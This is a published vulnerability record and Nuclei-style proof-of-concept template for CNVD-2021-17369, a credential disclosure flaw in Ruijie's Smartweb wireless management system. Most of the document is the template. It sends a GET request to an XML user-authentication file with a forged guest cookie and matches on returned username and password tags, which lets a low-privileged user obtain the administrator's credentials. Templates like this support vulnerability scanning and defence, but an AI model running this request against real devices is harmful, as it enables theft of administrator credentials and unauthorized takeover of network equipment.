The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege.
PoC代码[已公开]
id: CNVD-2021-17369
info:
name: Ruijie Smartweb Management System Password Information Disclosure
author: pikpikcu
severity: high
description: The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege.
reference:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 1
tags: cnvd2021,cnvd,ruijie,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/web/xml/webuser-auth.xml"
headers:
Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<userauth>"
- "<password>"
condition: and
- type: status
status:
- 200
# digest: 4b0a004830460221009a07201092566bc6f2ed4ffdd4fb98712376443bbc1494a90f5f8515f782ce6f02210099429705bc25998924efc5ecc454045e93e60308b60f4c8c33489d6c482e4a9b:922c64590222798bb761d5b6d8e72950